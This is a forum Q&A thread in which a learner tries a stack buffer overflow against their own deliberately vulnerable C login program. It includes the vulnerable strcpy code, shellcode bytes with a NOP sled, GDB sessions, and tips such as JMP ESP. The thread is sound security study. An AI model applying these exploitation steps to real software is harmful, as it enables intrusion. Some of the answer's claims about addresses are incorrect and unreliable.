0

What my purposely insecure program does is to check if a username matches a specific string by copying user input into a buffer and comparing it.

I have compiled the program

cc -o real real.c -g -m32 -static -fno-stack-protector

I have managed to fill the buffer with shellcode and overwrite my EIP with the return address of where the buffer overflow happens in order for it to be executed using GDB. But a segmentation problem keeps happening that I don't understand.

I even try include a printf %s to print the address of my buffer to make sure I got the correct address

#include <stdlib.h>
#include <string.h>

int checkUserName(int argc, char **argv) {
    char storedName[300];
    int pass = 1;
printf("%p\n", (void*)&storedName);

if(argc == 1){
      pass = 0;
printf("Nothing Entered");
return(0);
    }

else if(sizeof(argv[1]) > 20){
            printf("Too many characters.");
    pass = 0;
            return(0);
    } 
else if(argc > 1) {
      strcpy(storedName, argv[1]);
    }

    while (pass == 1) {
      if(!strcmp(storedName, "694449"))
      {
        printf("Username Successfull\n");
        return(1);
      }
      else{
        return(0);
   }
    }
}

int checkUserPassword(char *userPassword) {

    if(!strcmp(userPassword, "1994"))
{
      return(1);
    }

    else{
      printf("\nWrong Password. Exiting Program");
      return(0);
    }
}

int openBankAccounts() {
    char buff[5000];
    FILE *fp;

    fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
    while (fgets (buff, sizeof(buff), fp)) {
      printf("%s", buff);
 }
 fclose(fp);
}


int main(int argc, char *argv[]) {

    int go = 1;
    if(!checkUserName(argc, argv)){
            printf("\nWrong Username. Exiting Program");
            go = 0;
            return(0);
    }

    while (go == 1){

      char userPassword[5];
      printf("\nPlease Enter 4 Digit Pin: ");
      fgets(userPassword, 5, stdin);

      if (!checkUserPassword(userPassword)){
        return(0);
      }
      else{
        go = 0;
      }
    }

  if(go == 0){
        openBankAccounts();
  }
    return 0;
}

GBD CODE

  (gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')


  Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
 0xffffce50

The address 0xffffce50 above comes from the printf. I'm aware that this address changes when executed outside of GDB. I'm also aware that any more inputted characters will start to overwrite the EIP.

 Program received signal SIGSEGV, Segmentation fault.
 0x08048f1a in openBankAccounts () at real.c:54


(gdb)  info reg ebp eip
 ebp            0x90909090  0x90909090
 eip            0x8048f1a   0x8048f1a <openBankAccounts+29>

Now I run it from terminal first, to get the program to print the address:

 parallels@ubuntu:~/RASS$ ./real haha
 0xffffcfb0

And then I run it with that address:

 parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)

As you can see, the memory address that I have inserted at the end of my python input is the same as the printed address that the program prints out. What should happen is that the EIP should contain this address and execute the instruction at that address which points back to the buffer that I have overflown with shellcode. But a segmentation fault happens that I do not understand. Everything makes sense

  • Have you tried to simplify the program to perform the attack? A buffer overflow attack only needs a few lines of code. Start with a small program and grow it. – Neil Smithline Dec 3 '15 at 23:56
  • no i havent. maybee thats a good idea. I was just curious to know what went wrong as i have done everything perfect (as i know) – Dipz Dec 4 '15 at 0:36
-1

This may not directly relate to your segfault problem, but I notice something looks a little unusual about your printed address, it is 0xffffcfb0, which can't be correct, since that is above the Linux 32 bit user space range, at 0xc0000000.

I don't think you should print your address this way:

printf("[%p]\n", (void*)&storedName);

Since storedName is already an array, you can use it like a pointer:

printf("[%p]\n", (void*)storedName);

Furthermore, I am still not so sure if you did actually get your EIP overwritten properly. I tried to run your code in GDB with a modified string content as below:

(gdb) run $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
Starting program: /home/user/real $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
storedName: 0xbfffef80

Program received signal SIGSEGV, Segmentation fault.
0x0805c84a in memcpy ()
(gdb) info reg
eax            0xccccb939       -858998471
ecx            0x0      0
edx            0xbffff174       -1073745548
ebx            0x1      1
esp            0xbffff008       0xbffff008
ebp            0x0      0x0
esi            0xbffff318       -1073745128
edi            0xccccb938       -858998472
eip            0x805c84a        0x805c84a <memcpy+90>
eflags         0x10247  [ CF PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) bt
#0  0x0805c84a in memcpy ()
#1  0x0804f4b1 in _IO_getline_info ()
#2  0x0804f5de in _IO_getline ()
#3  0x0804f245 in fgets ()
#4  0x08048d0c in openBankAccounts () at real.c:56
Backtrace stopped: Cannot access memory at address 0xccccccd0

During crash, the EIP seem did not land at 0xDDDDDDDD. So you didn't actually land your EIP correctly.

Another check at your input string and I notice you have the single quote put at the wrong place in your python script, "\xCC"*284' This ended your input too early. After moving the single quote to the end of the input, it segfault at the correct place 0xDDDDDDDD, which is your inserted/intended EIP address.

But again, I'm still curious how did you come up with the EIP target address that start with 0xFFFF****? Shouldn't you be jumping back to your shell code address that is in user space?

  • Ahh ok I will see if that makes a difference:) – Dipz Dec 4 '15 at 1:16
  • that address is were i have inputted my shellcode which is inside the storedName buffer. then i used the printf function to print out the address of the storedName which is what i want my eip to point to so it can execute the embedded shell code – Dipz Dec 4 '15 at 1:18
  • A few things, firstly, like I point out earlier, I believe you have printed storedName the wrong way. Hence, it dereferenced it elsewhere. It shouldn't be 0xffff****, that is kernel address, and I don't think you can just JMP there, you need system call to enter kernel mode. Try displaying the address of storedName in GDB using a breakpoint and you will see that the address should have an address lower than 0xc0000000, which is what you would get if you print it correctly. – wei Dec 4 '15 at 1:24
  • Another thing is, I didn't disassemble your shellcode to understand how you want it to work. But since you put your shellcode on the stack frame, the address would change on each execution. What you need is a fixed address to jump to. If I remember correctly, the usual trick people use is to jump to any opcode some of the fixed library address that happens to have code is similar to JMP ESP or something like that. – wei Dec 4 '15 at 1:27
  • what i dont understand is how come the eip has – Dipz Dec 4 '15 at 1:43

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.